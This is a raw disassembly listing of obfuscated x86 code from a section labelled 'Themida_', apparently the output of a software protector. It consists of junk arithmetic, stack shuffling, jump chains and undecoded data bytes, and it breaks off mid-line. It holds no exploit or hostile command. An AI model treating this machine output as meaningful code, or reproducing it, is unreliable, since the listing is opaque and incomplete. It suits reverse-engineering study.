push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_5537DA ; --------------------------------------------------------------------------- loc_5675E5: ; CODE XREF: Themida_:0055A471j mov edi, 7ADE745Fh add ebp, edi pop edi sub edx, ebp mov ebp, [esp] add esp, 4 push ebp push edi mov edi, 5EC96187h sub edi, 6B20819Fh mov ebp, edi pop edi sub edx, ebp pop ebp jmp loc_55C3EC ; --------------------------------------------------------------------------- loc_567610: ; CODE XREF: Themida_:00567980j and ebp, 17BA3E66h or ebp, 253B3F2Fh add ebp, 247B0CA0h sub ebx, 5680834h add ebx, 7E142897h sub ebx, ebp sub ebx, 7E142897h add ebx, 5680834h pop ebp mov edx, [esp] push ecx mov ecx, esp jmp loc_555464 ; --------------------------------------------------------------------------- dd 9C242CD2h, 0FEBA54E9h, 67F581FFh, 501B454Ah, 0FFA473E9h dd 0C1BE56FFh, 8163E67Bh, 0EC047BEEh, 5EEC130h, 8102E6C1h dd 964F8EE6h, 61E94655h db 0EFh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56767B: ; CODE XREF: Themida_:0055ED12j mov ecx, [esp] jmp loc_562839 ; --------------------------------------------------------------------------- loc_567683: ; CODE XREF: Themida_:005609E6j add esp, 4 xor ebp, 7390BD49h jmp loc_564DD7 ; --------------------------------------------------------------------------- dd 0D6D6E951h, 0D329FFFFh, 5124148Bh, 0C181E189h, 4, 4C181h dd 4DE90000h, 5DFFFF9Bh, 32E9F529h db 0DDh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5676BB: ; CODE XREF: Themida_:0056008Dj push eax mov eax, esp add eax, 4 jmp loc_55B560 ; --------------------------------------------------------------------------- dd 1CFBE952h, 0E281FFFFh, 6986DFCh, 240DF281h, 0E5E92EC4h dd 1FFFEDFh, 8B0303D3h, 0C483241Ch, 2FDAE904h, 0E9C3FFFFh dd 0FFFF73D9h, 8904EC83h, 28E92424h, 51FFFF51h, 0E92414F7h dd 0FFFF098Fh, 9C240CFFh, 0FEB994E9h db 0FFh ; --------------------------------------------------------------------------- loc_567711: ; CODE XREF: Themida_:0055F032j shr edx, 1 jmp loc_55FF25 ; --------------------------------------------------------------------------- dd 0E7C1CF87h, 38C4E907h, 875BFFFFh, 75E92434h db 72h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56772B: ; CODE XREF: Themida_:00556837j xor [esp], esi xor esi, [esp] pop esp mov [esp], ecx push 700Eh mov [esp], ebx pop ecx push 64E8h mov [esp], ecx jmp loc_5678E7 ; --------------------------------------------------------------------------- db 0BDh dd 683D6E63h, 0ED81DDF7h, 55C310E8h, 4535E945h, 4BEFFFFh dd 81000000h, 9E3D27C5h, 81F5012Eh, 9E3D27EDh, 45E95E2Eh db 0DEh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_567777: ; CODE XREF: Themida_:0055B887j mov ebx, [esp] push edx mov edx, esp push ecx jmp loc_5590A9 ; --------------------------------------------------------------------------- db 83h dd 48904ECh, 0BB2E924h, 815DFFFFh, 9362D8F1h, 3EFAE922h dd 77FFFFFFh, 11589D1Ch, 0E99C2404h, 0FFFEB8FDh, 331B68ADh dd 0C3E90000h, 0FFFFFF34h, 34FF2434h, 2434FF24h, 4C48158h dd 57000000h, 0B568h, 24248900h, 4240483h, 0B850565Fh dd 110F6731h, 0BF76EA2Dh, 913A355Bh, 8952D495h, 5AD689C2h dd 9B3E9h db 0 ; --------------------------------------------------------------------------- loc_5677ED: ; CODE XREF: Themida_:00556A1Dj dec esi add esi, 0CAB5BC15h sub edx, esi push dword ptr [esp] mov esi, [esp] push ecx mov ecx, esp jmp loc_55B8D7 ; --------------------------------------------------------------------------- dd 68241489h, 7218h, 24048F54h, 4240483h, 0E924148Bh, 0FFFF3B5Fh dd 4EC81h, 4CE90000h, 89FFFF95h, 6651243Ch, 681131B9h dd 64B9h, 66241489h, 502568BAh, 0E9D08966h, 0FFFFEA44h ; --------------------------------------------------------------------------- loc_567844: ; CODE XREF: Themida_:0055611Aj add esi, edx pop edx push edx mov edx, 9374BD1Eh sub esi, edx pop edx add ebp, esi pop esi push esi mov esi, 4 sub ebp, 22715DC6h add ebp, 1D483E98h jmp loc_559130 ; --------------------------------------------------------------------------- dw 77FFh dd 59669D1Ch, 241CD366h, 0B82BE99Ch, 34FFFFFEh, 2434FF24h dd 8324048Bh, 895704C4h, 0BD5552E7h, 18581296h, 0E902E5C1h dd 0FFFF93F3h, 582434FFh, 5904C483h, 249968h, 242C8900h dd 24BA6853h, 66E97998h, 81FFFEB8h, 4C1h, 4C18100h, 87000000h dd 49E9240Ch, 53FFFFF6h, 412DFC68h, 0E9435B0Eh, 0FFFF989Ah dd 0C581E589h, 4, 4C581h, 1DE90000h db 28h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5678E7: ; CODE XREF: Themida_:00567746j push dword ptr [esp] jmp loc_555749 ; --------------------------------------------------------------------------- db 81h dd 924E3CF6h, 0C9C5E936h, 2C89FFFEh, 40F8BD24h, 6F296F47h dd 242C8B24h, 4C481h, 82680000h, 89000039h, 0BA2414h, 2B000000h dd 9B682457h, 8900002Fh, 0BF57241Ch, 5E562EE5h, 0F747DFF7h dd 41C781D7h, 89A1A9D1h, 0C3815FFBh, 13C3015Fh, 65DFC381h dd 0FB01647Ch, 65DFEB81h, 0BA52647Ch, 77CE622Eh, 60CFEA81h dd 0D329640Bh, 0FF7CF2E9h, 148B66FFh, 2C48324h, 0FF5AE9E9h db 0FFh ; --------------------------------------------------------------------------- loc_56796D: ; CODE XREF: Themida_:0055F76Aj push 32F32565h pop edi jmp loc_5547A7 ; --------------------------------------------------------------------------- loc_567978: ; CODE XREF: Themida_:0056161Bj add ebx, edx push ebp mov ebp, 23E165E9h jmp loc_567610 ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 0FF3469E9h, 772235FFh, 0A405705Dh, 1F0EBBEh, 0C2E958C5h dd 83FFFFA5h, 148904ECh, 129AE924h, 3E680000h, 89000070h dd 0B1512414h, 0FED9F6FEh, 0C8E980C1h, 0A93FE950h, 0E95DFFFFh dd 0FFFF8F98h, 8B04C483h db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], eax mov eax, 4 add ebp, 6751321Dh add ebp, eax jmp loc_555971 ; --------------------------------------------------------------------------- loc_5679EF: ; CODE XREF: Themida_:00566E90j pop ebx xor eax, esi pop esi jmp loc_5665E5 ; --------------------------------------------------------------------------- loc_5679F8: ; CODE XREF: Themida_:0055A9A6j add ebx, 52FC4C18h jmp loc_563982 ; --------------------------------------------------------------------------- loc_567A03: ; CODE XREF: Themida_:0055ABE3j and ebp, 37E20353h add ebp, 0EE9DFD02h add edx, ebp jmp loc_5534D2 ; --------------------------------------------------------------------------- dw 0EB21h dd 0C907E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567A1E: ; CODE XREF: Themida_:00559D9Cj mov edi, 4E9579D2h sub ecx, edi pop edi jmp loc_55DA46 ; --------------------------------------------------------------------------- db 89h dd 0E589242Ch, 691668h, 24048900h, 4BE56h, 0F0890000h dd 8BC5015Eh, 0C4832404h, 4ED8104h, 87000000h, 895C242Ch dd 5954240Ch, 4EC81h, 2C890000h, 26D4E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567A66: ; CODE XREF: Themida_:00554A50j mov esi, 77646748h sub esi, 77523746h xor esi, 115CC9h dec esi push ecx mov ecx, 6E60CD1h add esi, ecx pop ecx mov edi, esi push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 xor edi, eax push dword ptr [esp] push dword ptr [esp] pop eax push 386Eh mov [esp], edx mov edx, esp add edx, 4 jmp loc_561DE5 ; --------------------------------------------------------------------------- dd 208B68h, 241C8900h, 0BBh, 0E9D30100h, 0FFFF4E98h, 31240433h dd 0F5E92404h, 0C1FFFFD1h, 31E905EBh, 56FFFEF8h, 0E904EC83h dd 0FFFF63C8h ; --------------------------------------------------------------------------- loc_567AE0: ; CODE XREF: Themida_:005682E1j push dword ptr [esp] jmp loc_5587ED ; --------------------------------------------------------------------------- dd 4C481h, 5AE90000h db 0A9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567AF3: ; CODE XREF: Themida_:0055B56Bj push dword ptr [esp+4] jmp loc_560889 ; --------------------------------------------------------------------------- dd 0B458E95Fh, 48BFFFFh, 0DE46824h, 14890000h, 6EE95424h dd 53FFFF57h, 0FE88CF88h, 0FF9DD7E9h db 0FFh ; --------------------------------------------------------------------------- loc_567B1D: ; CODE XREF: Themida_:0055449Fj push esp mov edi, [esp] add esp, 4 push edx jmp loc_558E19 ; --------------------------------------------------------------------------- db 89h, 0E6h, 81h dd 4C6h, 4C68100h, 87000000h, 535C2434h, 0FFC1F6E9h db 0FFh ; --------------------------------------------------------------------------- loc_567B45: ; CODE XREF: Themida_:00560CECj pop esi sub esi, 1E13074Bh mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_560E52 ; --------------------------------------------------------------------------- db 1 dd 0BE565DE9h, 4, 0CBE9F129h db 9Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567B73: ; CODE XREF: Themida_:00565448j add esp, 4 or ebp, 6F0A093Ch jmp loc_5609D2 ; --------------------------------------------------------------------------- loc_567B84: ; CODE XREF: Themida_:00562448j pop ax add bl, al push eax mov al, 0ACh push 6D47h mov [esp], edx mov dh, 5Fh shr dh, 8 push ecx mov cl, 0F6h xor cl, 0DEh or dh, cl pop ecx add dh, 0DCh push eax mov al, 0FEh or dh, al pop eax push ecx mov ch, 20h jmp loc_56408B ; --------------------------------------------------------------------------- dw 0EE81h dd 311F6237h, 68240C8Bh, 77A5h, 89240489h, 405E0h, 4050000h dd 87000000h, 0A2E92404h, 0B9000008h, 3C760E0Eh, 0FF435AE9h dd 24248BFFh, 50241C89h, 88510DB0h, 0E9EB88C5h, 0FFFF0117h dd 57C4C781h, 34FF341Dh, 24148B24h db 83h, 0C4h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_55418A ; --------------------------------------------------------------------------- db 28h, 0E1h, 58h dd 8002C180h, 0C828B4E9h, 81D02859h, 4ECh, 24148900h, 0C32C3DB2h dd 0C304D000h, 0A68BE95Ah, 6AE9FFFFh, 0B8FFFEB4h, 12A043EDh dd 485AD031h, 934D2235h, 58C68929h, 6BF4BD55h, 51E91318h dd 80FFFEFFh, 0E7806BCFh, 0B0506674h, 66C728A4h, 5BF80858h dd 4EC81h, 1C890000h, 73B55124h, 33E9DDF6h db 57h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567C7B: ; CODE XREF: Themida_:0055EA5Ej or edx, eax jmp loc_55F02B ; --------------------------------------------------------------------------- loc_567C82: ; CODE XREF: Themida_:005593F8j add ebx, ebp add ebx, 3DED57D5h jmp loc_5642F7 ; --------------------------------------------------------------------------- db 5Fh dd 8702C283h, 0E95C2414h, 0FFFFA7E6h ; --------------------------------------------------------------------------- loc_567C9C: ; CODE XREF: Themida_:0056337Dj dec edx xor edx, 107A7E4Fh mov esi, edx pop edx and ebx, esi jmp loc_5532B8 ; --------------------------------------------------------------------------- db 5Ah, 33h, 34h dd 24343124h, 8B243433h, 25E92424h db 14h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567CBF: ; CODE XREF: Themida_:0055C582j mov [esp], ebx push ecx mov ecx, 19683488h push esi mov esi, 1968348Ch mov ebx, esi pop esi sub ebx, ecx mov ecx, [esp] add esp, 4 sub ecx, 76944E44h add ecx, ebx add ecx, 76944E44h pop ebx xchg ecx, [esp] mov esp, [esp] push 5D58h mov [esp], ebx mov eax, [esp] jmp loc_564596 ; --------------------------------------------------------------------------- loc_567D01: ; CODE XREF: Themida_:00565C64j mov [esp], esi mov esi, esp push ecx push ebx mov ebx, 77A64530h jmp loc_5575C3 ; --------------------------------------------------------------------------- dw 74FFh dd 8F5F0424h, 0E95C2404h, 0FFFFDE48h, 1050BA52h, 0D7016E86h dd 0F7815A5Ah, 53D33BCAh, 50D3E781h, 515660DCh, 0D87EC1B9h dd 0A0C1811Fh, 51F665F2h, 3242C81h, 5E1AB032h, 3203C681h dd 1591AB0h, 0E9575EF7h, 0FFFFBA39h, 0E9240C89h, 0FFFEB341h dd 0B5240C89h, 19F580F5h, 0CDFEDDF6h, 0AFF580h, 0D82859E8h dd 0A1E9BC2Ch db 9Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567D7F: ; CODE XREF: Themida_:005568B4j pop edi add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_55404E ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 8BE8285Ch, 0E952240Ch, 0FFFF2F29h, 33E468h, 242C8900h dd 0C581E589h, 4, 3394B850h, 54046F0h, 4FC74DDDh, 0B87E940h dd 0E9580000h, 0FFFF5E2Ah, 5159CA01h, 4B9h, 8BCA0100h dd 0C483240Ch, 24148704h, 0E924248Bh, 0FFFF574Dh ; --------------------------------------------------------------------------- loc_567DE4: ; CODE XREF: Themida_:0055D34Cj pop ecx add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], cx movzx cx, al push cx pushf jmp loc_5530A5 ; --------------------------------------------------------------------------- loc_567E01: ; CODE XREF: Themida_:005543EFj mov edi, esp jmp loc_55C5D0 ; --------------------------------------------------------------------------- dd 5EF2015Fh, 8B241487h, 57532424h, 54F9B850h, 0C7894013h dd 0FF9C56E9h, 2C6850FFh, 89000043h, 0ABBF243Ch, 81757C04h dd 381A79CFh, 81D7F700h, 0F14B67EFh, 814F472Fh, 6D6A65C7h dd 5FF889A5h, 34FFC101h, 1B1E924h, 0DE2D0000h, 2D1A2F41h dd 415751C5h, 24348B5Eh, 13EDE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567E66: ; CODE XREF: Themida_:0055F09Cj sub edx, 0E9331C99h add ebx, edx pop edx add ebx, esi sub ebx, 45EA3B6Fh jmp loc_561BEB ; --------------------------------------------------------------------------- dd 4EC8153h, 89000000h, 0D6B62414h, 0FEDBCFE9h, 4E6C1FFh dd 275CEE81h, 0E72DE874h, 0E93BBA1Dh, 0FFFFB4ACh ; --------------------------------------------------------------------------- loc_567EA0: ; CODE XREF: Themida_:0055E1DCj push 5A2Eh mov [esp], ecx sub esp, 4 mov [esp], ecx jmp loc_5583C7 ; --------------------------------------------------------------------------- db 66h dd 667808B8h, 2F83E940h, 0E95FFFFFh, 0FFFEEEE4h, 9EE9CD29h dd 56000007h, 0B93DDCBEh, 2E6C15Dh, 540DC681h, 0E8E9A3E6h dd 81FFFF87h, 0FC18A7F2h, 6EAC169h, 0FF59B5E9h db 0FFh ; --------------------------------------------------------------------------- loc_567EED: ; CODE XREF: Themida_:005547E9j push dword ptr [esp] pop ebp add esp, 4 push 74B5h mov [esp], eax mov eax, 70F90C0Fh push ebp mov ebp, 78DD55D0h dec ebp xor ebp, 73F827BAh neg ebp add ebp, 65EB6994h push ebx jmp loc_553ED1 ; --------------------------------------------------------------------------- loc_567F1F: ; CODE XREF: Themida_:00565A3Dj xchg edx, [esp] jmp loc_55C9D6 ; --------------------------------------------------------------------------- db 5Ah dd 0DBB5356h, 0E9138978h, 0FFFF6F20h ; --------------------------------------------------------------------------- loc_567F34: ; CODE XREF: Themida_:00562893j mov ebp, 40871B8Fh add edx, ebp pop ebp pop edi sub edx, eax jmp loc_565B2A ; --------------------------------------------------------------------------- dd 5C240C87h, 8104C483h, 0BC47A6EAh, 0E9D7010Eh, 0FFFF8678h dd 240C8B66h, 0FF24C4E9h db 0FFh ; --------------------------------------------------------------------------- loc_567F61: ; CODE XREF: Themida_:00563524j pop edi jmp loc_56494E ; --------------------------------------------------------------------------- loc_567F67: ; CODE XREF: Themida_:0055B4E9j add ebx, eax add ebx, 5D9024A1h pop eax pop small word ptr [eax] jmp loc_5530A5 ; --------------------------------------------------------------------------- loc_567F78: ; CODE XREF: Themida_:0055E272j pop esi jmp loc_55BEF0 ; --------------------------------------------------------------------------- dw 34FFh dd 89565B24h, 4C681E6h, 81000000h, 4C6h, 24348700h, 92C6815Ch dd 31279CE4h, 24348BF0h, 0FFFB43E9h, 240431FFh, 8B240433h dd 0C3812424h, 4, 4EB81h, 0AEE90000h, 89FFFF9Fh, 4812424h dd 424h, 240C8B00h, 5004C483h, 5260D1B8h, 26D4E925h, 0C181FFFFh dd 7DB91012h, 0FEEA3DE9h db 0FFh ; --------------------------------------------------------------------------- loc_567FE5: ; CODE XREF: Themida_:00555049j mov eax, [esp] add esp, 4 add eax, 564E6DF0h push ecx push eax push edx mov edx, 136E1C38h mov eax, edx pop edx jmp loc_56749E ; --------------------------------------------------------------------------- db 58h dd 0DB43E953h, 0E952FFFFh, 0FFFF0321h ; --------------------------------------------------------------------------- loc_568010: ; CODE XREF: Themida_:0055EF93j mov bl, 47h jmp loc_56693C ; --------------------------------------------------------------------------- db 5Eh dd 0E904C083h, 0FFFFA780h, 4C4815Dh, 52000000h, 2BAh, 5AD60100h dd 0E904EC83h, 0FFFFF94Dh, 0F81B5FBAh, 78BF5715h, 0E96C910Fh dd 0FFFF4682h, 0D0F6AE24h, 0C3881F2Ch, 0C2C38058h, 0EB80F328h dd 2434FFC2h, 8124148Bh, 4C4h, 61DDE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56806A: ; CODE XREF: Themida_:0055541Dj add ebp, ecx sub ebp, 1DEA3A7Eh jmp loc_55C459 ; --------------------------------------------------------------------------- db 89h dd 405E0h, 78E90000h, 89FFFED4h, 63BB241Ch, 555AB33Bh dd 745C1CBDh, 27F5815Bh, 81327B22h, 4314EAC5h, 0D4A9E917h dd 8166FFFEh, 661C12EAh, 0C94EEA81h, 0E9D30166h, 0FFFF4721h ; --------------------------------------------------------------------------- loc_5680B4: ; CODE XREF: Themida_:005653E1j mov ecx, esp jmp loc_560F34 ; --------------------------------------------------------------------------- db 0B7h dd 0C1E3E91Eh, 2C31FFFFh, 242C3324h, 8966645Ch, 0AFD3E902h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5680D2: ; CODE XREF: Themida_:0055BEF6j push ebp jmp loc_5688B6 ; --------------------------------------------------------------------------- loc_5680D8: ; CODE XREF: Themida_:00564C91j pop esp shl eax, cl sub esp, 4 mov [esp], ecx push esp jmp loc_561D1E ; --------------------------------------------------------------------------- db 1 dd 0A3281DAh, 5A775C3Dh, 2434FF5Bh, 0FF2434FFh, 51582434h dd 16E9E189h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568103: ; CODE XREF: Themida_:00563EF3j sub edx, ebp pop ebp push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] mov [esp], ebx push dword ptr [esp] jmp loc_568B50 ; --------------------------------------------------------------------------- loc_56811D: ; CODE XREF: Themida_:0055320Dj dec ebx and ebx, 6BC34607h jmp loc_558B82 ; --------------------------------------------------------------------------- db 5Ch, 5Ah, 33h dd 0BAE92434h, 5FFFF44h, 4, 8704C083h, 215C2404h, 34FF1C6Fh dd 89565D24h, 4C681E6h, 53000000h, 4BBh, 5BDE0100h, 6A4C68h dd 24348900h, 42474FFh, 0FF3702E9h, 5FF901FFh, 5F59CA29h dd 3302C283h, 14312414h, 0E50FE924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56817E: ; CODE XREF: Themida_:00565333j mov eax, ebx pop ebx sub ebx, eax jmp loc_5620A9 ; --------------------------------------------------------------------------- loc_568188: ; CODE XREF: Themida_:0055CBCBj pop edi mov ebp, esi pop esi jmp loc_5605EA ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 0D359669Dh, 0E99C2414h, 0FFFEAF05h, 9BEE8158h, 81770A2Fh dd 851F45E6h, 5CC68101h, 81424879h, 0E40B91EEh, 0BE565029h dd 86E79CBh, 0E0C6814Eh, 89281202h, 0DEE95EF0h, 80FFFEDEh dd 885073F2h, 0C28852D0h, 585AD788h, 33FE685Ah, 14890000h dd 0C2C9E924h, 0B850FFFEh, 38FB5BFFh, 0E4355C0Dh, 5E0C11Ch dd 0FD966D2Dh, 0FDD1E982h, 0DDF7FFFEh, 2CC8BF57h, 51E93188h dd 51FFFF2Dh, 0FEED35E9h, 48B66FFh, 609F6824h, 14890000h dd 4EC8324h, 68242489h, 13A6h, 0BD242C89h, 4, 4246C01h dd 84E95A5Dh, 8BFFFFEAh, 0F7662424h, 0FF5451E9h, 0FDE92434h dd 0B7FFFF21h, 43EF809Ah, 0A4E9CFFEh, 1FFFF81h, 0F6815DEEh dd 8211096h, 0E95EF101h, 0FFFFC5FAh ; --------------------------------------------------------------------------- loc_56826C: ; CODE XREF: Themida_:00557286j or edx, 6BF5394Ah shr edx, 6 shl edx, 5 sub edx, 709282B2h jmp loc_563059 ; --------------------------------------------------------------------------- db 5Dh dd 41A5E95Eh, 0C481FFFFh, 4, 6FE9C329h, 5BFFFFDCh, 2A066866h dd 24148966h, 0F6241486h, 241486D2h, 0E2805A66h, 3E2C0AFh dd 5166DAF6h, 0C2800AB5h, 0EAC2804Ch, 0EA80EA00h, 1E4C68EAh dd 0A6E90000h, 0BDFFFEF5h, 3CC75740h, 0FFF741E9h db 0FFh ; --------------------------------------------------------------------------- loc_5682D5: ; CODE XREF: Themida_:00556DE0j add edx, 4 xchg edx, [esp] pop esp mov eax, edi jmp loc_567AE0 ; --------------------------------------------------------------------------- dw 0C483h dd 5AEEE904h, 0C9FEFFFFh, 0FE71B753h, 0D0E952CFh db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5682FB: ; CODE XREF: Themida_:0055E5D7j shr ecx, 7 push dword ptr [edi+1Ch] push eax mov eax, 0C440869h sub esp, 4 mov [esp], ecx mov ecx, 75445B88h and eax, ecx pop ecx jmp loc_555FB4 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 db '$h½$',0 align 2 dw 0B2E9h dd 56FFFEFCh, 705C2DBEh, 2E6C116h, 0FEB310E9h db 0FFh ; --------------------------------------------------------------------------- loc_568339: ; CODE XREF: Themida_:0055B3B6j xchg ebp, [esp] mov esp, [esp] add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp add eax, 5DC67B9Fh add eax, edi sub esp, 4 mov [esp], edi jmp loc_568C04 ; --------------------------------------------------------------------------- loc_568361: ; CODE XREF: Themida_:00556FDAj add esi, edx jmp loc_55D2D3 ; --------------------------------------------------------------------------- dd 4240481h, 5D000000h, 0FF18AEE9h, 64AB2DFFh, 85E904C3h dd 31FFFEE9h, 14332414h, 0D62CE924h, 0C0FEFFFFh, 2FE93334h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568393: ; CODE XREF: Themida_:0055659Dj add ebx, 20982BBBh jmp loc_55C211 ; --------------------------------------------------------------------------- loc_56839E: ; CODE XREF: Themida_:00560202j add esi, 5C553F59h inc esi neg esi shr esi, 7 dec esi jmp loc_5598FC ; --------------------------------------------------------------------------- loc_5683B0: ; CODE XREF: Themida_:005633E8j sub esp, 4 mov [esp], ebp sub esp, 4 mov [esp], ebx push edi mov edi, 53DE5E27h push edi mov ebx, [esp] add esp, 4 jmp loc_56000D ; --------------------------------------------------------------------------- loc_5683D1: ; CODE XREF: Themida_:00566FE8j push ecx mov ecx, 753834BBh shl ecx, 8 inc ecx dec ecx not ecx xor ecx, 877D7387h add ebp, 3EB92D18h add ebp, ecx push eax mov eax, 315824E2h sub eax, 0F29EF7CAh sub ebp, eax pop eax jmp loc_561D46 ; --------------------------------------------------------------------------- db 89h dd 814559CDh, 0DB5D50F5h, 5DEA212Dh, 1002F281h, 0D08920A1h dd 0FFB9BBE9h, 585450FFh, 776BBF57h, 0CF813977h, 2F7935DDh dd 8107E7C1h, 440084C7h, 0E9F80140h, 0FFFF5375h, 2C5835Ch dd 31242C33h, 2C33242Ch, 24248B24h, 0FF0554E9h, 0F6814EFFh dd 293350A8h, 555EF389h, 2B4B30BDh, 5DE82977h, 0BF57D801h dd 772B4B30h, 5B5FF801h, 0FF4E8DE9h, 241489FFh, 0FFCE34E9h dd 0C6815CFFh, 6152158h, 0EE81C601h, 6152158h, 610BEE81h dd 56520AF7h, 0D1A70BEh, 5EF28906h, 81FFEA83h, 3964F5C2h dd 1C2832Ah, 12D6850h, 48B2D89h, 4C48124h, 9000000h, 0F74258C2h dd 0B85042D2h, 44F91817h, 0FEFBA5E9h, 0F6C2FEFFh, 1CF280DAh dd 0FF9AC8E9h, 5D5455FFh, 0FF1E5BE9h, 4EB81FFh, 87000000h dd 895C241Ch, 0F5B9240Ch, 1775C03h, 5AA1E9CBh, 34FFFFFFh dd 0C4835D24h, 74FF5604h, 8F5E0424h, 248B2404h, 0C896624h dd 0AB97E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56850E: ; CODE XREF: Themida_:005643ECj pop edi jmp loc_55A3DB ; --------------------------------------------------------------------------- dd 240C8B66h, 34FF5453h, 0C4815B24h, 4, 4EC8156h, 89000000h dd 7EB82404h, 53224C47h, 0D35C47BBh, 3EBC14Ah, 0D0C3814Bh dd 316299EEh, 0B9255BD8h, 4818B515h, 0FF4633E9h, 0AB4FE9FFh dd 0EC81FFFEh, 4, 56242C89h, 1AE9E689h db 3, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568567: ; CODE XREF: Themida_:005655A0j push 47C7h mov [esp], esp add dword ptr [esp], 4 pop edi add edi, 4 push ebp push edx mov edx, 62C841B1h or edx, 1E185B79h dec edx not edx shr edx, 6 push ecx push edi mov edi, 40522870h mov ecx, 0AAE83320h sub ecx, edi jmp loc_563039 ; --------------------------------------------------------------------------- loc_5685A0: ; CODE XREF: Themida_:0055CBDCj push 3379h mov [esp], esi pop edi mov esi, [esp] add esp, 4 jmp loc_55A17D ; --------------------------------------------------------------------------- db 66h dd 34EEED81h, 0FF443CE9h, 0EC8353FFh, 0DC97E904h, 0E5C1FFFFh dd 854EE905h, 205FFFFh, 87000000h, 248B2404h, 0B30F6624h dd 0E99C2404h, 0FFFEAABDh ; --------------------------------------------------------------------------- loc_5685E8: ; CODE XREF: Themida_:0055D704j mov eax, [esp] add esp, 4 jmp loc_5553A8 ; --------------------------------------------------------------------------- dw 0DE89h dd 4EEC15Bh, 0FF115FE9h, 0B4B951FFh, 176FB4Eh, 335B59CFh dd 0F9E9243Ch, 8BFFFF42h, 0C483242Ch, 6ED96804h, 0B5E90000h dd 0FFFFFF31h, 34FF2434h, 0EC815A24h, 4, 89241489h, 0DBE951E2h db 63h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56863B: ; CODE XREF: Themida_:00564840j sub edi, 4F9E0188h jmp loc_55DE18 ; --------------------------------------------------------------------------- dw 0ECC0h dd 0C4F48008h, 5EE9h, 34875A00h, 24248B24h, 0E9240489h dd 0FFFEAA45h, 9C240CD2h, 0FEAA3CE9h, 2C3359FFh, 242C3124h dd 5C242C33h, 50241489h, 0AA27E99Ch, 0D801FFFEh, 7847BE56h dd 0E6C14D2Ch, 0B4F68103h, 2958B9AFh, 1C8B5EF0h, 432EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56869A: ; CODE XREF: Themida_:00555151j push dword ptr [esp] pop eax add esp, 4 jmp loc_5530A5 ; --------------------------------------------------------------------------- db 5Ch, 0E9h, 47h dd 28FFFF4Bh, 516658E3h, 0C5FEDD88h, 0E02AE950h, 0E9ADFFFEh dd 0FFFFB747h, 8B243C87h, 0AFE92424h, 0BFFFFEC3h, 7A3D3041h dd 0FFB6D7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5686D9: ; CODE XREF: Themida_:00554D76j pop ecx pop dword ptr [esp] jmp loc_55E1D9 ; --------------------------------------------------------------------------- dw 0EC83h dd 240C8904h, 468h, 7EE95900h, 87FFFF1Ch, 895C2434h, 7E68242Ch dd 0E9000058h, 0FFFF3B93h, 8824DAB0h, 0E93FB551h, 0FFFFC0D6h dd 0E924248Bh, 0FFFF71EEh ; --------------------------------------------------------------------------- loc_568718: ; CODE XREF: Themida_:0055C572j pop edi add edi, 4076AB49h sub esi, edi pop edi push esi mov ecx, [esp] add esp, 4 mov esi, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_56508E ; --------------------------------------------------------------------------- dw 8B66h dd 51502404h, 0CFE9E189h, 8BFFFF6Fh, 14892424h, 0A953E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_568752: ; CODE XREF: Themida_:005611ABj or edx, 38E8563Fh push esi mov esi, 3720776Eh jmp loc_563EB5 ; --------------------------------------------------------------------------- loc_568763: ; CODE XREF: Themida_:0055D79Aj push edx mov edx, 4 add esi, edx pop edx push 114Bh mov [esp], ebp mov ebp, 4 add esi, ebp pop ebp push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp xor ebx, eax mov dx, [esp] push esi push esp pop esi jmp loc_5572B4 ; --------------------------------------------------------------------------- dd 0C281C201h, 2D634CDFh, 71A56857h, 38E95834h, 57FFFEE1h dd 0FF7491E9h, 55EF81FFh, 8B384E49h, 62E92434h, 89FFFFD1h dd 4C781E7h, 83000000h, 3C8704EFh, 0C895C24h, 7F84B924h dd 0CD893A68h, 8BEA0159h, 0C0E9242Ch, 89FFFFF1h, 405E0h dd 42D0000h, 87000000h, 14E92404h db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5687F3: ; CODE XREF: Themida_:005633C7j push dword ptr [esp] pop esi jmp loc_559D7B ; --------------------------------------------------------------------------- dd 0CE81FE87h, 379607D0h, 0A767C681h, 0F101BF24h, 8B41E95Eh dd 148BFFFFh, 4C48324h, 0E904C483h, 